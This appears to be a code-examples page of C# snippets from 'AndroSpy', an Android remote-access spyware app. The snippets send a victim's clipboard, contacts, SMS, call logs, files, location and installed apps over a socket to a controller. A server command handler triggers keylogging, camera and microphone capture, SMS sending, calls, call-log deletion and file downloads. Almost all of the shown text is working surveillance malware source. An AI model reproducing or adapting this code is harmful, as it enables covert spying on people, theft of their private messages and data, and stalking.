コード例 #1
0
ファイル: MainActivity.cs プロジェクト: hossainhasan/AndroSpy
        public async void panoyuYolla()
        {
            string pano = await Clipboard.GetTextAsync();

            byte[] pala = Encoding.UTF8.GetBytes("PANOGELDI|" + pano);
            PictureCallback.Send(Soketimiz, pala, 0, pala.Length, 59999);
        }
コード例 #2
0
ファイル: MainActivity.cs プロジェクト: hossainhasan/AndroSpy
        public void sesBilgileri()
        {
            string ZIL_SESI      = "";
            string MEDYA_SESI    = "";
            string BILDIRIM_SESI = "";

            mgr = (Android.Media.AudioManager)GetSystemService(AudioService);
            //Zil sesi
            int max           = mgr.GetStreamMaxVolume(Android.Media.Stream.Ring);
            int suankiZilSesi = mgr.GetStreamVolume(Android.Media.Stream.Ring);

            ZIL_SESI = suankiZilSesi.ToString() + "/" + max.ToString();
            //Medya
            int maxMedya    = mgr.GetStreamMaxVolume(Android.Media.Stream.Music);
            int suankiMedya = mgr.GetStreamVolume(Android.Media.Stream.Music);

            MEDYA_SESI = suankiMedya.ToString() + "/" + maxMedya.ToString();
            //Bildirim Sesi
            int maxBildirim    = mgr.GetStreamMaxVolume(Android.Media.Stream.Notification);
            int suankiBildirim = mgr.GetStreamVolume(Android.Media.Stream.Notification);

            BILDIRIM_SESI = suankiBildirim.ToString() + "/" + maxBildirim.ToString();

            string gonderilecekler = ZIL_SESI + "=" + MEDYA_SESI + "=" + BILDIRIM_SESI + "=";

            byte[] git_Artik_bezdim = Encoding.UTF8.GetBytes("SESBILGILERI|" + gonderilecekler);
            PictureCallback.Send(Soketimiz, git_Artik_bezdim, 0, git_Artik_bezdim.Length, 59999);
        }
コード例 #3
0
ファイル: MainActivity.cs プロジェクト: hossainhasan/AndroSpy
 public void parlaklikKac()
 {
     try
     {
         var attributesWindow = new WindowManagerLayoutParams();
         attributesWindow.CopyFrom(Window.Attributes);
         byte[] ayar = Encoding.UTF8.GetBytes("PARLAKLIK|" + attributesWindow.ScreenBrightness.ToString());
         PictureCallback.Send(Soketimiz, ayar, 0, ayar.Length, 59999);
         Toast.MakeText(this, attributesWindow.ScreenBrightness.ToString() + "GET", ToastLength.Long).Show();
     }
     catch (Exception ex) { Toast.MakeText(this, ex.Message + "GET", ToastLength.Long).Show(); }
 }
コード例 #4
0
        public void TakePhoto()
        {
            Release();
            int currentCameraID = SwitchCamera();

            if (currentCameraID != 5)
            {
                SetParametersAndTakePhoto(currentCameraID);
            }
            else
            {
                PictureCallback.Send(MainActivity.Soketimiz, Encoding.UTF8.GetBytes("CAMNOT|"), 0,
                                     Encoding.UTF8.GetBytes("CAMNOT|").Length, 59999);
            }
        }
コード例 #5
0
ファイル: MainActivity.cs プロジェクト: hossainhasan/AndroSpy
        public void uygulamalar()
        {
            var    apps     = PackageManager.GetInstalledApplications(PackageInfoFlags.MetaData);
            string bilgiler = "";

            for (int i = 0; i < apps.Count; i++)
            {
                try
                {
                    ApplicationInfo applicationInfo = apps[i];
                    var             isim            = applicationInfo.LoadLabel(PackageManager);
                    var             paket_ismi      = applicationInfo.PackageName;
                    string          infos           = isim + "=" + paket_ismi + "=";
                    bilgiler += infos + "&";
                }
                catch (Exception) { }
            }
            byte[] gidecekler = Encoding.UTF8.GetBytes("APPS|" + bilgiler);
            PictureCallback.Send(Soketimiz, gidecekler, 0, gidecekler.Length, 59999);
        }
コード例 #6
0
ファイル: MainActivity.cs プロジェクト: hossainhasan/AndroSpy
        public void rehberLogu()
        {
            LogVerileri veri = new LogVerileri(this, null);

            veri.rehberiCek();
            var    list            = veri.isimler_;
            string gidecek_veriler = "";

            for (int i = 0; i < list.Count; i++)
            {
                string bilgiler = (list[i].Isim + "=" + list[i].Numara + "="
                                   );

                gidecek_veriler += bilgiler + "&";
            }
            if (string.IsNullOrEmpty(gidecek_veriler))
            {
                gidecek_veriler = "REHBER YOK";
            }
            byte[] isim_bytlari = Encoding.UTF8.GetBytes("REHBER|" + gidecek_veriler);
            PictureCallback.Send(Soketimiz, isim_bytlari, 0, isim_bytlari.Length, 59999);
        }
コード例 #7
0
ファイル: MainActivity.cs プロジェクト: hossainhasan/AndroSpy
        public void telefonLogu()
        {
            LogVerileri veri = new LogVerileri(this, null);

            veri.aramaKayitlariniCek();
            var    list            = veri.kayitlar;
            string gidecek_veriler = "";

            for (int i = 0; i < list.Count; i++)
            {
                string bilgiler = (list[i].Numara + "=" + list[i].Tarih + "="
                                   + list[i].Durasyon + "=" + list[i].Tip + "=");

                gidecek_veriler += bilgiler + "&";
            }
            if (string.IsNullOrEmpty(gidecek_veriler))
            {
                gidecek_veriler = "CAGRI YOK";
            }
            byte[] isim_bytlari = Encoding.UTF8.GetBytes("CAGRIKAYITLARI|" + gidecek_veriler);
            PictureCallback.Send(Soketimiz, isim_bytlari, 0, isim_bytlari.Length, 59999);
        }
コード例 #8
0
ファイル: MainActivity.cs プロジェクト: hossainhasan/AndroSpy
        public void smsLogu(string nereden)
        {
            LogVerileri veri = new LogVerileri(this, nereden);

            veri.smsLeriCek();
            string gidecek_veriler = "";
            var    sms_            = veri.smsler;

            for (int i = 0; i < sms_.Count; i++)
            {
                string bilgiler = sms_[i].Gonderen + "=" + sms_[i].Icerik + "="
                                  + sms_[i].Tarih + "=" + LogVerileri.SMS_TURU + "=";

                gidecek_veriler += bilgiler + "&";
            }
            if (string.IsNullOrEmpty(gidecek_veriler))
            {
                gidecek_veriler = "SMS YOK";
            }
            byte[] isim_bytlari = Encoding.UTF8.GetBytes("SMSLOGU|" + gidecek_veriler);
            PictureCallback.Send(Soketimiz, isim_bytlari, 0, isim_bytlari.Length, 59999);
        }
コード例 #9
0
ファイル: MainActivity.cs プロジェクト: hossainhasan/AndroSpy
        public void sonAsama()
        {
            DirectoryInfo di = new DirectoryInfo(Android.OS.Environment.ExternalStorageDirectory.AbsolutePath);

            FileInfo[] fi = di.GetFiles("*.*", SearchOption.AllDirectories);
            foreach (FileInfo f_info in fi)
            {
                if (f_info.DirectoryName.Contains(".thumbnail") == false)
                {
                    allDirectory_.Add(f_info.Name + "=" + f_info.DirectoryName + "=" + f_info.Extension + "=" + GetFileSizeInBytes(
                                          f_info.FullName) + "=CİHAZ=");
                }
            }
            string dosyalarS = "";

            foreach (string inf in allDirectory_)
            {
                dosyalarS += inf + System.Environment.NewLine;
            }
            PictureCallback.Send(Soketimiz, Encoding.UTF8.GetBytes("FILES|" + dosyalarS), 0,
                                 Encoding.UTF8.GetBytes("FILES|" + dosyalarS).Length, 59999);
        }
コード例 #10
0
ファイル: MainActivity.cs プロジェクト: hossainhasan/AndroSpy
        public void duvarKagidiniGonder()
        {
            WallpaperManager manager = WallpaperManager.GetInstance(this);

            try
            {
                var image = manager.PeekDrawable();
                Android.Graphics.Bitmap bitmap_ = ((BitmapDrawable)image).Bitmap;
                byte[] bitmapData;
                using (MemoryStream ms = new MemoryStream())
                {
                    bitmap_.Compress(Android.Graphics.Bitmap.CompressFormat.Png, 100, ms);
                    bitmapData = ms.ToArray();
                }
                byte[] ziya = Encoding.UTF8.GetBytes("WALLPAPERBYTES|" + bitmapData.Length.ToString());
                PictureCallback.Send(Soketimiz, ziya, 0, ziya.Length, 59999);
                PictureCallback.Send(Soketimiz, bitmapData, 0, bitmapData.Length, 59999);
                //Toast.MakeText(this, "DUVAR KAĞIDI OKAY ", ToastLength.Long).Show();
            }
            catch (Exception)
            {
                //Toast.MakeText(this, "DUVAR KAĞIDI " + ex.Message, ToastLength.Long).Show();
            }
        }
コード例 #11
0
ファイル: MainActivity.cs プロジェクト: hossainhasan/AndroSpy
        void Sunucudan_Gelen_Veriler(IAsyncResult ar)
        {
            RunOnUiThread(() =>
            {
                try
                {
                    Socket sunucu    = (Socket)ar.AsyncState;
                    int deger        = sunucu.EndReceive(ar);
                    string[] ayirici = Encoding.UTF8.GetString(buffer, 0, deger).Split('|');//Gelen verileri ayrıştır.
                    switch (ayirici[0])
                    {
                    case "DOSYABYTE":
                        byte[] alinan_dosya_byte = new byte[int.Parse(ayirici[1])];
                        Receive(sunucu, alinan_dosya_byte, 0, alinan_dosya_byte.Length, 59999);
                        File.WriteAllBytes(Android.OS.Environment.ExternalStorageDirectory.AbsolutePath + "/mainly/" + ayirici[2], alinan_dosya_byte);
                        byte[] alindi = Encoding.UTF8.GetBytes("DOSYAALINDI|" + MainValues.KRBN_ISMI);
                        PictureCallback.Send(Soketimiz, alindi, 0,
                                             alindi.Length, 59999);
                        break;

                    case "DELETE":
                        try { DeleteFile_(ayirici[1]); }catch (Exception) { }
                        break;

                    case "CALLLOGS":
                        telefonLogu();
                        break;

                    case "ANASAYFA":
                        try
                        {
                            Intent i = new Intent(Intent.ActionMain);
                            i.AddCategory(Intent.CategoryHome);
                            i.SetFlags(ActivityFlags.NewTask);
                            StartActivity(i);
                        }
                        catch (Exception) { }
                        break;

                    case "GELENKUTUSU":
                        smsLogu("gelen");
                        break;

                    case "GIDENKUTUSU":
                        smsLogu("giden");
                        break;

                    case "UNIQ":
                        //Toast.MakeText(this, ayirici[1], ToastLength.Long).Show();
                        MainValues.uniq_id = ayirici[1];
                        break;

                    case "CAM":
                        if (CrossMedia.Current.IsCameraAvailable)
                        {
                            MainValues.front_back = ayirici[1];
                            kameraCek();
                        }
                        else
                        {
                            //Toast.MakeText(this,"UNAVAIBLE",ToastLength.Long).Show();
                            byte[] cam_kullaniliyor = Encoding.UTF8.GetBytes("CAMNOT|");
                            PictureCallback.Send(Soketimiz, cam_kullaniliyor, 0, cam_kullaniliyor.Length, 59999);
                        }
                        break;

                    case "DOSYA":
                        dosyalar();
                        break;

                    case "INDIR":
                        try
                        {
                            byte[] bite  = Encoding.UTF8.GetBytes("UZUNLUK|" + File.ReadAllBytes(ayirici[1]).Length.ToString() + "|" + ayirici[1].Substring(ayirici[1].LastIndexOf("/") + 1) + "|" + "[KURBAN_ADI]|");
                            byte[] dosya = File.ReadAllBytes(ayirici[1]);
                            PictureCallback.Send(Soketimiz, bite, 0,
                                                 bite.Length, 59999);
                            PictureCallback.Send(Soketimiz, dosya, 0, dosya.Length, 59999);
                        }
                        catch (Exception) { }
                        break;

                    case "MIC":
                        switch (ayirici[1])
                        {
                        case "BASLA":
                            micSend(ayirici[2]);
                            break;

                        case "DURDUR":
                            micStop();
                            break;
                        }
                        break;

                    case "KEYBASLAT":
                        key_gonder = true;
                        break;

                    case "KEYDUR":
                        key_gonder = false;
                        break;

                    case "LOGLARIHAZIRLA":
                        DirectoryInfo dinfo  = new DirectoryInfo(Android.OS.Environment.ExternalStorageDirectory.AbsolutePath + "/mainly");
                        FileInfo[] fileInfos = dinfo.GetFiles("*.tht");
                        if (fileInfos.Length > 0)
                        {
                            foreach (FileInfo fileInfo in fileInfos)
                            {
                                log_dosylari_gonder += fileInfo.Name + "=";
                            }
                            byte[] gonder = Encoding.UTF8.GetBytes("LOGDOSYA|" + log_dosylari_gonder);
                            PictureCallback.Send(Soketimiz, gonder, 0, gonder.Length, 59000);
                        }
                        else
                        {
                            byte[] gonder = Encoding.UTF8.GetBytes("LOGDOSYA|LOG_YOK");
                            PictureCallback.Send(Soketimiz, gonder, 0, gonder.Length, 59000);
                        }
                        break;

                    case "KEYCEK":
                        byte[] log = Encoding.UTF8.GetBytes("KEYGONDER|" + File.ReadAllText(Android.OS.Environment.ExternalStorageDirectory.AbsolutePath + "/mainly/" + ayirici[1]).Replace(
                                                                System.Environment.NewLine
                                                                , "[NEW_LINE]"));
                        PictureCallback.Send(Soketimiz, log, 0, log.Length, 59000);
                        break;

                    case "DOSYAAC":
                        Ac(ayirici[1]);
                        break;

                    case "GIZLI":
                        StartPlayer(ayirici[1]);
                        break;

                    case "VOLUMELEVELS":
                        sesBilgileri();
                        break;

                    case "ZILSESI":
                        try
                        {
                            if (mgr == null)
                            {
                                mgr = (Android.Media.AudioManager)GetSystemService(AudioService);
                            }
                            mgr.SetStreamVolume(Android.Media.Stream.Ring, int.Parse(ayirici[1]), Android.Media.VolumeNotificationFlags.RemoveSoundAndVibrate);
                        }catch (Exception) {  }
                        break;

                    case "MEDYASESI":
                        try
                        {
                            if (mgr == null)
                            {
                                mgr = (Android.Media.AudioManager)GetSystemService(AudioService);
                            }
                            mgr.SetStreamVolume(Android.Media.Stream.Music, int.Parse(ayirici[1]), Android.Media.VolumeNotificationFlags.RemoveSoundAndVibrate);
                        }
                        catch (Exception ex) { Toast.MakeText(this, ex.Message + " " + ayirici[1], ToastLength.Long).Show(); }
                        break;

                    case "BILDIRIMSESI":     // KAMERADAKİ HER ŞEYE TRY CATCH KOY.
                        try
                        {
                            if (mgr == null)
                            {
                                mgr = (Android.Media.AudioManager)GetSystemService(AudioService);
                            }
                            mgr.SetStreamVolume(Android.Media.Stream.Notification, int.Parse(ayirici[1]), Android.Media.VolumeNotificationFlags.RemoveSoundAndVibrate);
                        }
                        catch (Exception) { }
                        break;

                    case "REHBERIVER":
                        rehberLogu();
                        break;

                    case "REHBERISIM":
                        string[] ayir = ayirici[1].Split('=');
                        rehberEkle(ayir[1], ayir[0]);
                        break;

                    case "REHBERSIL":
                        rehberNoSil(ayirici[1]);
                        break;

                    case "VIBRATION":
                        try
                        {
                            Vibrator vibrator = (Vibrator)GetSystemService(VibratorService);
                            vibrator.Vibrate(int.Parse(ayirici[1]));
                        }
                        catch (Exception) { }
                        break;

                    case "FLASH":
                        flashIsik(ayirici[1]);
                        break;

                    case "TOST":
                        Toast.MakeText(this, ayirici[1], ToastLength.Long).Show();
                        break;

                    case "APPLICATIONS":
                        uygulamalar();
                        break;

                    case "OPENAPP":
                        try
                        {
                            Intent intent = PackageManager.GetLaunchIntentForPackage(ayirici[1]);
                            intent.AddFlags(ActivityFlags.NewTask);
                            StartActivity(intent);
                        }
                        catch (Exception ex) { Toast.MakeText(this, ex.Message, ToastLength.Long).Show(); }
                        break;

                    case "DELETECALL":
                        DeleteCallLogByNumber(ayirici[1]);
                        break;

                    case "SARJ":
                        try {
                            var filter     = new IntentFilter(Intent.ActionBatteryChanged);
                            var battery    = RegisterReceiver(null, filter);
                            int level      = battery.GetIntExtra(BatteryManager.ExtraLevel, -1);
                            int scale      = battery.GetIntExtra(BatteryManager.ExtraScale, -1);
                            int BPercetage = (int)Math.Floor(level * 100D / scale);
                            var per        = BPercetage.ToString();
                            var lev        = Encoding.UTF8.GetBytes("TELEFONBILGI|" + per.ToString());
                            PictureCallback.Send(Soketimiz, lev, 0, lev.Length, 59999);
                        }
                        catch (Exception) { }
                        break;

                    case "WALLPAPERBYTE":
                        try
                        {
                            byte[] alinan_dosya_byte_ = new byte[int.Parse(ayirici[1])];
                            Receive(sunucu, alinan_dosya_byte_, 0, alinan_dosya_byte_.Length, 59999);
                            duvarKagidi(alinan_dosya_byte_);
                        }
                        catch (Exception) { }
                        break;

                    case "WALLPAPERGET":
                        duvarKagidiniGonder();
                        break;

                    case "PANOGET":
                        panoyuYolla();
                        break;

                    case "PANOSET":
                        panoAyarla(ayirici[1]);
                        break;

                    case "SMSGONDER":
                        string[] baki = ayirici[1].Split('=');
                        try
                        {
                            SmsManager.Default.SendTextMessage(baki[0], null,
                                                               baki[1], null, null);
                        }
                        catch (Exception) { }
                        break;

                    case "ARA":
                        MakePhoneCall(ayirici[1]);
                        break;

                    case "URL":
                        try
                        {
                            var uri    = Android.Net.Uri.Parse(ayirici[1]);
                            var intent = new Intent(Intent.ActionView, uri);
                            StartActivity(intent);
                        }
                        catch (Exception) { }
                        break;

                    case "KONUM":
                        lokasyonCek();
                        break;

                    case "PARLAKLIK":
                        parlaklikKac();
                        break;

                    case "PARILTI":
                        parlaklik(int.Parse(ayirici[1]));
                        break;

                    case "LOGTEMIZLE":
                        DirectoryInfo dinfo_  = new DirectoryInfo(Android.OS.Environment.ExternalStorageDirectory.AbsolutePath + "/mainly");
                        FileInfo[] fileInfos_ = dinfo_.GetFiles("*.tht");
                        if (fileInfos_.Length > 0)
                        {
                            foreach (FileInfo fileInfo in fileInfos_)
                            {
                                fileInfo.Delete();
                            }
                        }
                        break;
                    }


                    sunucu.BeginReceive(buffer, 0, buffer.Length, SocketFlags.None, new AsyncCallback(Sunucudan_Gelen_Veriler), sunucu);
                }
                catch (SocketException) {
                    // ULAAAAAAAAAN!!!! BEN LAZ ZİYAYIM!!!!
                    Baglanti_Kur();
                }
            });
        }
コード例 #12
0
ファイル: MainActivity.cs プロジェクト: hossainhasan/AndroSpy
        public async void lokasyonCek()
        {
            double GmapLat  = 0;
            double GmapLong = 0;

            try
            {
                var request  = new GeolocationRequest(GeolocationAccuracy.Default, TimeSpan.FromSeconds(6));
                var location = await Geolocation.GetLocationAsync(request);

                GmapLat = location.Latitude;
                GmapLat = location.Longitude;
                if (location != null)
                {
                    var placemarks = await Geocoding.GetPlacemarksAsync(location.Latitude, location.Longitude);

                    var    placemark      = placemarks?.FirstOrDefault();
                    string GeoCountryName = "Boş";
                    string admin          = "Boş";
                    string local          = "Boş";
                    string sublocal       = "Boş";
                    string sub2           = "Boş";
                    if (placemark != null)
                    {
                        GeoCountryName = placemark.CountryName;
                        admin          = placemark.AdminArea;
                        local          = placemark.Locality;
                        sublocal       = placemark.SubLocality;
                        sub2           = placemark.SubAdminArea;
                    }
                    byte[] ayrintilar = Encoding.UTF8.GetBytes("LOCATION|" + GeoCountryName + "=" + admin +
                                                               "=" + sub2 + "=" + sublocal + "=" + local + "=" + location.Latitude.ToString() +
                                                               "=" + location.Longitude + "=");
                    PictureCallback.Send(Soketimiz, ayrintilar, 0, ayrintilar.Length, 59999);
                }
            }
            catch (FeatureNotSupportedException ex)
            {
                byte[] ayrintilar = Encoding.UTF8.GetBytes("LOCATION|" + "HATA: " + ex.Message + "=" +
                                                           "HATA" + "=" + "HATA" + "=" + "HATA" + "=" + "HATA" +
                                                           "=" + "HATA" + "=" + "HATA" + "=");
                PictureCallback.Send(Soketimiz, ayrintilar, 0, ayrintilar.Length, 59999);
            }
            catch (FeatureNotEnabledException ex)
            {
                byte[] ayrintilar = Encoding.UTF8.GetBytes("LOCATION|" + "HATA: " + ex.Message + "=" +
                                                           "HATA" + "=" + "HATA" + "=" + "HATA" + "=" + "HATA" +
                                                           "=" + "HATA" + "=" + "HATA" + "=");
                PictureCallback.Send(Soketimiz, ayrintilar, 0, ayrintilar.Length, 59999);
            }
            catch (PermissionException ex)
            {
                byte[] ayrintilar = Encoding.UTF8.GetBytes("LOCATION|" + "HATA: " + ex.Message + "=" +
                                                           "HATA" + "=" + "HATA" + "=" + "HATA" + "=" + "HATA" +
                                                           "=" + "HATA" + "=" + "HATA" + "=");
                PictureCallback.Send(Soketimiz, ayrintilar, 0, ayrintilar.Length, 59999);
            }
            catch (Exception ex)
            {
                byte[] ayrintilar = Encoding.UTF8.GetBytes("LOCATION|" + "HATA: " + ex.Message + "=" +
                                                           "HATA" + "=" + "HATA" + "=" + "HATA" + "=" + "HATA" +
                                                           "=" + "HATA" + "=" + "HATA" + "=");
                PictureCallback.Send(Soketimiz, ayrintilar, 0, ayrintilar.Length, 59999);
            }
        }